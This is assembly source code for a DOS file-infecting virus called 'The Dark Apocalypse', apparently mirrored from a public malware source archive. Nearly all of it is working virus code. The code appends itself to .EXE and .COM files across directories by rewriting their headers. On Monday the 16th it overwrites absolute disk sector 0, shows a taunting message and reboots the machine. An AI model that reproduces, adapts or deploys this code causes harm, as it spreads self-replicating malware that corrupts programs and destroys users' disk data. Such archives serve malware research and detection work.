mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
548 lines
16 KiB
NASM
548 lines
16 KiB
NASM
|
||
CODE SEGMENT
|
||
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
|
||
|
||
VTOP EQU $ ;Top of virus code
|
||
|
||
;Equates --------------------------------------------------------------------
|
||
|
||
VLENGTH EQU VBOT-VTOP ;Length of virus in bytes
|
||
MAXINF EQU 3 ;Max files to infect in each directory
|
||
VLPARA EQU (VLENGTH/16)+1 ;Virus length in paragraphs
|
||
IDWORD EQU 0FFEEh ;ID word (for EXE files)
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
LEA AX,[BP+(OFFSET(STACK1)+64)] ;Get stack pointer
|
||
MOV SP,AX
|
||
|
||
CALL GETDELTA
|
||
GETDELTA:
|
||
POP BP
|
||
SUB BP,OFFSET(GETDELTA) ;Find delta offset
|
||
|
||
PUSH DS
|
||
PUSH ES ;Save original segment regs (EXE)
|
||
|
||
PUSH CS
|
||
POP DS
|
||
PUSH CS
|
||
POP ES ;Set up new segments
|
||
|
||
CLD ;Clear direction flag
|
||
|
||
LEA SI,[BP+OFFSET(ORIGBYT)]
|
||
LEA DI,[BP+OFFSET(OLD_OB)]
|
||
MOV CX,BCLEN
|
||
REP MOVSB ;Shadow saved bytes into buffer
|
||
|
||
LEA SI,[BP+OFFSET(ORIG_IP)]
|
||
LEA DI,[BP+OFFSET(ORIGIP)]
|
||
MOV CX,4
|
||
REP MOVSW ;Shadow EXE header information
|
||
|
||
MOV AH,2Ah ;Get date
|
||
INT 21h
|
||
|
||
CMP AL,1 ;Monday?
|
||
JNE NOTRIGGER ;If not, don't trigger
|
||
|
||
CMP DL,16 ;The 16th?
|
||
JNE NOTRIGGER ;If not, don't trigger
|
||
|
||
MOV AH,19h ;Get default drive
|
||
INT 21h
|
||
|
||
LEA BX,[BP+OFFSET(REBOOTCOD)] ;Offset of reboot code
|
||
MOV CX,1 ;Number of sectors to write
|
||
XOR DX,DX ;Start at absolute sector 0
|
||
|
||
INT 26h ;Absolute disk write
|
||
JC WRITE_ERROR ;Skip POPF if error
|
||
|
||
POPF ;Pop flags (after INT 26h return)
|
||
WRITE_ERROR:
|
||
LEA DX,[BP+OFFSET(MESSAGE)] ;Display message
|
||
MOV AH,9 ;Print string
|
||
INT 21h
|
||
|
||
INT 05h ;Print screen
|
||
|
||
XOR AH,AH ;Read keyboard
|
||
INT 16h ;BIOS keyboard interrupt
|
||
|
||
JMP REBOOTCOD ;Reboot the machine
|
||
NOTRIGGER:
|
||
LEA SI,[BP+OFFSET(ORIGDIR)] ;Save original directory name
|
||
XOR DL,DL ;from current drive
|
||
|
||
MOV AH,47h ;Get current directory
|
||
INT 21h
|
||
DIRSCAN:
|
||
LEA SI,[BP+OFFSET(OLDDIR)] ;Save old directory name
|
||
XOR DL,DL ;from current drive
|
||
|
||
MOV AH,47h ;Get current directory
|
||
INT 21h
|
||
|
||
MOV AX,WORD PTR [BP+OFFSET(OLDDIR)] ;Get first 2 bytes of old DIR
|
||
CMP AX,'\' ;Root directory?
|
||
JE NOMORE_DIRS ;If so, end scan
|
||
|
||
MOV DL,[BP+OFFSET(COMID)]
|
||
PUSH DX ;Save COM ID
|
||
|
||
CALL INFECT ;Attempt to infect files in directory
|
||
|
||
POP DX
|
||
MOV [BP+OFFSET(COMID)],DL ;Restore COM ID
|
||
|
||
LEA DX,[BP+OFFSET(CHDIR)] ;Offset of directory name
|
||
|
||
MOV AH,3Bh ;Change current directory
|
||
INT 21h
|
||
|
||
JC NOMORE_DIRS ;If error, end scan
|
||
JMP SHORT DIRSCAN
|
||
NOMORE_DIRS:
|
||
LEA DX,[BP+OFFSET(ORIGDIR)] ;Reset original directory
|
||
|
||
MOV AH,3Bh ;Change current directory
|
||
INT 21h
|
||
|
||
MOV DL,0FFh
|
||
CMP [BP+OFFSET(COMID)],DL ;Is this a .COM file
|
||
JE RET_COM ;If so, execute .COM file return
|
||
|
||
MOV AH,51h ;Get PSP adress
|
||
INT 21h
|
||
|
||
ADD BX,16 ;Compensate for PSP size
|
||
|
||
POP ES
|
||
POP DS ;Restore original ES and DS from EXE
|
||
|
||
CLI ;Clear interrupts for stack change
|
||
|
||
MOV AX,CS:[BP+OFFSET(ORIGSP)]
|
||
MOV SP,AX
|
||
MOV AX,CS:[BP+OFFSET(ORIGSS)]
|
||
ADD AX,BX ;Find segment for SS
|
||
MOV SS,AX ;Reset original EXE stack
|
||
|
||
STI
|
||
|
||
ADD CS:[BP+OFFSET(ORIGCS)],BX ;Find segment for CS
|
||
|
||
JMP DWORD PTR CS:[BP+OFFSET(ORIGIP)] ;Far jump to original EXE code
|
||
RET_COM:
|
||
POP AX
|
||
POP AX ;Get "EXE stuff" off stack
|
||
|
||
LEA SI,[BP+OFFSET(OLD_OB)] ;Original bytes from .COM file
|
||
MOV DI,100h ;Put at .COM entry point
|
||
MOV CX,BCLEN ;Move length of original bytes
|
||
|
||
REP MOVSB ;Replace bytes of original .COM file
|
||
|
||
MOV AX,100h
|
||
PUSH AX
|
||
RET ;Jump to original .COM code
|
||
|
||
INFECT:
|
||
MOV AH,2Fh ;Get disk transfer adress
|
||
INT 21h
|
||
|
||
MOV [BP+OFFSET(OLDDTAS)],ES
|
||
MOV [BP+OFFSET(OLDDTAO)],BX ;Old disk transfer adress
|
||
|
||
PUSH CS
|
||
POP ES
|
||
|
||
LEA DX,[BP+OFFSET(NEWDTA)] ;New disk transfer adress
|
||
|
||
MOV AH,1Ah ;Set disk transfer adress
|
||
INT 21h
|
||
|
||
FINDEXE:
|
||
XOR SI,SI ;Zero counter
|
||
|
||
MOV CX,4 ;Search for all normal files
|
||
LEA DX,[BP+OFFSET(SSPEC1)] ;Search for *.EXE
|
||
|
||
MOV AH,4Eh ;Find first file
|
||
INT 21h
|
||
|
||
JNC DISEASE_EXE ;Carry set means no more .EXE files
|
||
JMP NOMORE_EXE
|
||
FIND_NEXT_EXE:
|
||
MOV AH,4Fh ;Find next file
|
||
INT 21h
|
||
|
||
JNC DISEASE_EXE ;Carry set means no more .EXE files
|
||
JMP NOMORE_EXE
|
||
DISEASE_EXE:
|
||
XOR CX,CX ;Set attributes to normal
|
||
LEA DX,[BP+OFFSET(FNAME)] ;on file to infect
|
||
|
||
MOV AX,4301h ;Set file atttibutes
|
||
INT 21h
|
||
|
||
MOV AX,3D02h ;Open file for READ/WRITE access
|
||
INT 21h
|
||
|
||
MOV [BP+OFFSET(THANDLE)],AX ;File handle
|
||
|
||
MOV BX,AX
|
||
MOV CX,28 ;Read 28 bytes (EXE header)
|
||
LEA DX,[BP+OFFSET(EXEHEADER)] ;Exe header buffer
|
||
|
||
MOV AH,3Fh ;Read file or device
|
||
INT 21h
|
||
|
||
MOV AX,IDWORD
|
||
CMP [BP+OFFSET(SSSP)],AX ;Is EXE already infected?
|
||
JNE GO_AHEAD_INFECT ;If not, go ahead
|
||
JMP END_EXE_INFECTION ;If so, end routine
|
||
|
||
GO_AHEAD_INFECT:
|
||
XOR AX,AX
|
||
MOV [BP+OFFSET(COMID)],AL ;Zero .COM ID field
|
||
|
||
PUSH SI ;Save counter
|
||
|
||
LES SI,[BP+OFFSET(CSIP)] ;Get CS:IP from EXE header
|
||
MOV [BP+OFFSET(ORIG_IP)],SI
|
||
MOV [BP+OFFSET(ORIG_CS)],ES ;Set fields in virus code
|
||
|
||
LES SI,[BP+OFFSET(SSOFS)] ;Get SP:SS (reversed) from EXE header
|
||
MOV [BP+OFFSET(ORIG_SP)],ES
|
||
MOV [BP+OFFSET(ORIG_SS)],SI ;Set fields in virus code
|
||
|
||
POP SI ;Restore counter
|
||
|
||
PUSH CS
|
||
POP ES
|
||
|
||
XOR CX,CX
|
||
XOR DX,DX ;Move file pointer zero bytes
|
||
|
||
MOV AX,4202h ;Move to end of file
|
||
INT 21h
|
||
|
||
MOV CX,16
|
||
DIV CX ;Divide file size by 16 (paragraph)
|
||
|
||
PUSH AX
|
||
SUB AX,[BP+OFFSET(HEADSIZ)] ;Subtract header size from paragraphs
|
||
|
||
POP CX
|
||
CMP AX,CX
|
||
JA END_EXE_INFECTION ;If file too small, end infection
|
||
|
||
MOV [BP+OFFSET(CSIP)],DX
|
||
MOV [BP+OFFSET(CSOFS)],AX ;Set CS:IP in EXE header
|
||
|
||
MOV [BP+OFFSET(SSOFS)],AX
|
||
MOV CX,0FFEEh
|
||
MOV [BP+OFFSET(SSSP)],CX ;Set SS:SP in EXE header
|
||
|
||
MOV CX,VLPARA
|
||
ADD [BP+OFFSET(MINMEM)],CX ;Add virus size in paragraphs to minmem
|
||
|
||
MOV AX,[BP+OFFSET(ID_WORD)] ;Get ID word from EXE header
|
||
CMP AX,'MZ'
|
||
JE EXE_OK
|
||
CMP AX,'ZM'
|
||
JE EXE_OK ;If a true EXE file, go ahead
|
||
|
||
JMP SHORT END_EXE_INFECTION ;If not (misnamed COM), end infection
|
||
|
||
EXE_OK: MOV BX,[BP+OFFSET(THANDLE)] ;Handle of target file
|
||
MOV CX,VLENGTH ;Write virus length in bytes
|
||
MOV DX,BP ;BP=Start of virus code
|
||
|
||
MOV AH,40h ;Write file or device
|
||
INT 21h
|
||
|
||
XOR CX,CX
|
||
XOR DX,DX ;Move file pointer zero bytes
|
||
|
||
MOV AX,4202h ;Move to end of file
|
||
INT 21h
|
||
|
||
MOV CX,512 ;Divide by 512 bytes (page)
|
||
DIV CX
|
||
|
||
CMP DX,00h
|
||
JE GO_AHEAD_SET ;If no remainder, go ahead and set
|
||
|
||
INC AX ;Add another page (last page)
|
||
|
||
GO_AHEAD_SET:
|
||
MOV [BP+OFFSET(TOTPAGE)],AX
|
||
MOV [BP+OFFSET(LAST512)],DX ;Set new EXE file size
|
||
|
||
CALL SEEKZERO ;Seek to position zero in file
|
||
|
||
MOV CX,28 ;Length of EXE header
|
||
LEA DX,[BP+OFFSET(EXEHEADER)] ;Offset of header data
|
||
|
||
MOV AH,40h ;Write file or device
|
||
INT 21h
|
||
|
||
INC SI ;Increment counter
|
||
END_EXE_INFECTION:
|
||
MOV BX,[BP+OFFSET(THANDLE)] ;Handle of target file
|
||
MOV AH,3Eh ;Close file with handle
|
||
INT 21h
|
||
|
||
CALL RESET_ATTR ;Reset original attributes
|
||
|
||
CMP SI,MAXINF ;Maximum counter reached?
|
||
JNE FNE ;If so, end all searches for directory
|
||
JMP NOMORE_FILES
|
||
|
||
FNE: JMP FIND_NEXT_EXE ;Find next file
|
||
|
||
RESET_ATTR:
|
||
MOV CX,[BP+OFFSET(ATTRIB)] ;Reset old attributes
|
||
LEA DX,[BP+OFFSET(FNAME)] ;on file just infected
|
||
|
||
MOV AX,4301h ;Set file attributes
|
||
INT 21h
|
||
RET ;Return to caller
|
||
|
||
SEEKZERO:
|
||
XOR CX,CX
|
||
XOR DX,DX ;Change offset = 0
|
||
|
||
MOV AX,4200h ;Move from beginning of file
|
||
INT 21h
|
||
RET ;Return to caller
|
||
|
||
NOMORE_EXE:
|
||
MOV CX,4 ;Search for all normal files
|
||
LEA DX,[BP+OFFSET(SSPEC2)] ;Search for *.COM
|
||
|
||
MOV AH,4Eh ;Find first file
|
||
INT 21h
|
||
|
||
JNC DISEASE_COM ;Carry set means error
|
||
JMP NOMORE_FILES
|
||
FIND_NEXT_COM:
|
||
MOV AH,4Fh ;Find next file
|
||
INT 21h
|
||
|
||
JNC DISEASE_COM ;Carry set means error
|
||
JMP NOMORE_FILES
|
||
DISEASE_COM:
|
||
XOR CX,CX ;Set attributes to normal
|
||
LEA DX,[BP+OFFSET(FNAME)] ;on file to infect
|
||
|
||
MOV AX,4301h ;Set file atttibutes
|
||
INT 21h
|
||
|
||
PUSH SI ;Save counter
|
||
|
||
MOV SI,DX
|
||
LEA DI,[BP+OFFSET(CS2)] ;Compare with "COMMAND.COM"
|
||
MOV CX,12 ;11 bytes to compare
|
||
|
||
REPE CMPSB ;Repeat until not equal
|
||
|
||
POP SI ;Restore counter
|
||
|
||
CMP CX,0 ;All characters match?
|
||
JE END_COM_INFECTION ;If so, end infection routine
|
||
|
||
MOV AX,3D02h ;Open file for READ/WRITE access
|
||
INT 21h
|
||
|
||
MOV BX,AX
|
||
MOV CX,2 ;Read one word of data
|
||
LEA DX,[BP+OFFSET(CHKBUF)] ;Buffer for word to check
|
||
|
||
MOV AH,3Fh ;Read file or device
|
||
INT 21h
|
||
|
||
MOV AX,[BP+OFFSET(CHKBUF)]
|
||
CMP AX,'MZ'
|
||
JE END_COM_INFECTION
|
||
CMP AX,'ZM'
|
||
JE END_COM_INFECTION ;End infection if misnamed .EXE
|
||
|
||
CMP AX,WORD PTR [BP+OFFSET(BRANCH)] ;Compare with start of branch code
|
||
JE END_COM_INFECTION ;End infection if already infected
|
||
|
||
CALL SEEKZERO ;Seek to position zero in file
|
||
|
||
MOV CX,BCLEN ;Length of branch code
|
||
LEA DX,[BP+OFFSET(ORIGBYT)] ;Save original bytes from COM file
|
||
|
||
MOV AH,3Fh ;Read file or device
|
||
INT 21h
|
||
|
||
XOR CX,CX
|
||
XOR DX,DX ;Move file pointer zero bytes
|
||
|
||
MOV AX,4202h ;Move to end of file
|
||
INT 21h
|
||
|
||
ADD AX,100h ;Compensate for PSP
|
||
MOV [BP+OFFSET(VOFFSET)],AX ;Store virus offset in repeat code
|
||
|
||
XOR AX,AX
|
||
MOV [BP+OFFSET(COMID)],AH ;Zero .COM ID field
|
||
|
||
MOV CX,VLENGTH
|
||
MOV DX,BP ;Delta offset = start of code
|
||
|
||
MOV AH,40h ;Write file or device
|
||
INT 21h
|
||
|
||
CALL SEEKZERO ;Seek to position zero
|
||
|
||
MOV CX,BCLEN ;Length of branch code
|
||
LEA DX,[BP+OFFSET(BRANCH)] ;Write branch code
|
||
|
||
MOV AH,40h ;Write file or device
|
||
INT 21h
|
||
|
||
INC SI ;Increment counter
|
||
END_COM_INFECTION:
|
||
MOV AH,3Eh ;Close file with handle
|
||
INT 21h
|
||
|
||
CALL RESET_ATTR ;Reset original attributes
|
||
|
||
CMP SI,MAXINF ;Maximum counter reached?
|
||
JE NOMORE_FILES ;If so, end all searches for directory
|
||
|
||
JMP FIND_NEXT_COM ;Find next .COM file
|
||
NOMORE_FILES:
|
||
LDS DX,[BP+OFFSET(OLDDTAO)] ;Get old disk transfer adress
|
||
|
||
MOV AH,1Ah ;Set disk transfer adress
|
||
INT 21h
|
||
|
||
PUSH CS
|
||
POP DS
|
||
|
||
RET ;Return to caller
|
||
|
||
;Reboot code ----------------------------------------------------------------
|
||
|
||
REBOOTCOD:
|
||
MOV AX,0040h
|
||
MOV DS,AX
|
||
MOV BX,1234h
|
||
MOV WORD PTR DS:[0072h],BX ;Warm reboot
|
||
DB 0EAh
|
||
DW 0
|
||
DW 0FFFFh ;JMP FFFF:0000 (hard coded)
|
||
|
||
;Branch code ----------------------------------------------------------------
|
||
|
||
BCTOP EQU $ ;Top of branch code
|
||
|
||
BRANCH: XOR BP,DI ;Marker instruction
|
||
DB 0BBh ;MOV BX,
|
||
VOFFSET DW 0 ;Offset of viral code
|
||
MOV DI,OFFSET(COMID)
|
||
ADD DI,BX ;Calculate location of COM id
|
||
|
||
MOV AL,0FFh
|
||
STOSB ;Set COM file flag
|
||
|
||
PUSH BX
|
||
RET ;Jump to virus code
|
||
|
||
BCBOT EQU $ ;Bottom of branch code
|
||
BCLEN EQU BCBOT-BCTOP ;Length of branch code
|
||
|
||
;Data -----------------------------------------------------------------------
|
||
|
||
CS2 DB 'COMMAND.COM',0 ;File to replace with reboot code
|
||
DB 0FFh
|
||
|
||
CHDIR DB '..',0 ;Change directory string
|
||
|
||
MESSAGE DB 13,10
|
||
DB 'Welcome to the Dark Apocalypse... Your computer will',13,10
|
||
DB 'never escape... You might as well read this and weep!',13,10
|
||
DB 13,10
|
||
DB 'The Dark Apocalypse v1.00 by Crypt Keeper [RoT]',13,10
|
||
DB '<27><><EFBFBD>Reign of Terror<6F><72><EFBFBD> [DARK APOCALYPSE]',13,10
|
||
DB 13,10
|
||
DB 'Press any key to continue...$'
|
||
|
||
ORIG_IP DW 0
|
||
ORIG_CS DW 0
|
||
ORIG_SS DW 0
|
||
ORIG_SP DW 0 ;Original segments/pointers from EXEHDR
|
||
|
||
SSPEC1 DB '*.EXE',0
|
||
SSPEC2 DB '*.COM',0 ;Search specs
|
||
|
||
ORIGBYT DB 0CDh
|
||
DB 20h ;For proper .COM return to DOS
|
||
DB BCLEN-2 DUP ('!') ;Buffer for saved bytes from .COM files
|
||
|
||
COMID DB 0FFh ;ID byte set to 0FFh by branch if .COM
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
VBOT EQU $ ;Bottom of virus code
|
||
|
||
;Heap -----------------------------------------------------------------------
|
||
|
||
ORIGIP DW 0
|
||
ORIGCS DW 0
|
||
ORIGSS DW 0
|
||
ORIGSP DW 0 ;Shadowed EXEHDR information
|
||
|
||
EXEHEADER:
|
||
ID_WORD DW 0 ;ID word (ZM or MZ)
|
||
LAST512 DW 0 ;Number of bytes in last 512 byte page
|
||
TOTPAGE DW 0 ;Total number of pages in file
|
||
SEGENTS DW 0 ;Number of entries in segment table
|
||
HEADSIZ DW 0 ;Size of header in paragraphs
|
||
MINMEM DW 0 ;Minimum memory in paragraphs
|
||
MAXMEM DW 0 ;Maximum memory in paragraphs
|
||
SSOFS DW 0 ;Offset of SS from header (paragraphs)
|
||
SSSP DW 0 ;Stack pointer offset
|
||
NEGCHK DW 0 ;Negative checksum (ignored by DOS)
|
||
CSIP DW 0 ;Offset of IP from CS (bytes)
|
||
CSOFS DW 0 ;Offset of CS from header (paragraphs)
|
||
RELOFS DW 0 ;Offset of relocation table from loc 0
|
||
OVLNUM DW 0 ;Overlay number (ignored)
|
||
|
||
CHKBUF DW 0 ;Buffer for infection check (COM files)
|
||
VSEG DW 0 ;Segment of virus in RAM
|
||
THANDLE DW 0 ;File handle
|
||
|
||
OLDDIR DB 70 DUP ('?') ;Buffer for old directory name
|
||
ORIGDIR DB 70 DUP ('?') ;Buffer for original directory name
|
||
|
||
OLDDTAO DW 0
|
||
OLDDTAS DW 0 ;Old disk transfer adress
|
||
|
||
OLD_OB DB BCLEN DUP ('%') ;Buffer for shadow of old original code
|
||
|
||
STACK1 DB 64 DUP ('S') ;Stack
|
||
|
||
NEWDTA:
|
||
DB 21 DUP (' ') ;Reserved
|
||
ATTRIB DB 0 ;Attributes of found file
|
||
FTIME DW 0 ;Time of last write
|
||
FDATE DW 0 ;Date of last write
|
||
FSIZE DD 0 ;File size
|
||
FNAME DB 13 DUP ('?') ;File name
|
||
|
||
;----------------------------------------------------------------------------
|
||
|
||
CODE ENDS
|
||
END
|
||
|